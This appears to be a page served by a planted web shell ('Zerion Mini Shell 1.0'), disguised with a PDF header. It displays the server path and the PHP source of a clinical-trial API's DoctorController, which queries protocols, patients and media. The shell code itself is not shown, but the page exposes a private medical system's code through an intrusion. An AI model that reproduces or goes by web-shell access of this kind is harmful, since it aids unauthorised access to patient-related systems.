%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/App/v1/DoctorController.php

<?php

namespace App\Http\Controllers\Api\App\v1;

use App\Http\Controllers\Api\ApiController;
use App\Models\Doctor;
use App\Models\Protocol;
use App\Models\Role;
use App\Models\User;
use App\Transformers\App\PatientTransformer;
use App\Transformers\MediaTransformer;
use App\Transformers\ProtocolTransformer;
use Illuminate\Support\Facades\DB;

class DoctorController extends ApiController
{
    /**
     * @return \Illuminate\Http\JsonResponse
     */
    public function getAllProtocols()
    {
        /** @var User $user */
        $user = auth()
            ->guard('api')
            ->user();
        $doctor = Doctor::query()
                        ->where('id', '=', $user->id)
                        ->whereHas('roles', function ($q) {
                            $q->whereIn('name', [
                                Role::DOCTOR,
                            ]);
                        })
                        ->firstOrFail();
        return $this->collection($doctor->protocols, new ProtocolTransformer());
    }

    public function getAllPatients($id)
    {
        /** @var User $user */
        $user = auth()
            ->guard('api')
            ->user();
        $doctor = Doctor::query()
                        ->where('id', '=', $user->id)
                        ->whereHas('roles', function ($q) {
                            $q->whereIn('name', [
                                Role::DOCTOR,
                            ]);
                        })
                        ->firstOrFail();

        /** @var Doctor $doctor */
        $params = [
            'id'          => $id,
            'hospitalIds' => implode(',', $doctor->hospital()
                                                 ->pluck('id')
                                                 ->toArray()),
        ];

        $result = DB::select("select
                p.id,
                p.code,
                pp.*,
                s.Id as submission_id,
                icds.Id as icd_id,
                e.Id as enrollment_id,
                if(s.Id is null, false, true) as has_completed_inc_exc,
	            if(s.Id is not null and s.status <> 'ASSIGNED', true, false) has_signed_inc_exc,
	            if(icds.Id is null, false, true) as has_completed_icd,
	            if(icds.Id is not null and icds.status <> 'ASSIGNED', true, false) as has_signed_icd,
	            if(e.id is null, false, true) as has_completed_enrollment,
	            if(e.Id is not null and e.status <> 'ASSIGNED', true, false) as has_signed_enrollment
            from
                patients p
            inner join patient_protocol pp on
                p.id = pp.patient_id
            inner join patient_hospital ph on
                p.id = ph.patient_id
            left join submissions s on
                s.patient_id = pp.patient_id
                and s.protocol_id = pp.protocol_id
            left join icd_submissions icds on
                icds.patient_id = pp.patient_id
                and icds.protocol_id = pp.protocol_id
            left join enrollments e on
                e.patient_id = pp.patient_id
                and e.protocol_id = pp.protocol_id
            where
                pp.protocol_id = :id
                and ph.hospital_id in (:hospitalIds)
                and pp.status = 'COMPLETED'", $params);
        return $this->item($result, new PatientTransformer());
    }

    public function getMedia($id)
    {
        /** @var Protocol $protocol */
        $protocol = Protocol::query()
                            ->findOrFail($id);
        return $this->collection($protocol->getMedia(Protocol::COLLECTION_NAME), new MediaTransformer());
    }
}

Zerion Mini Shell 1.0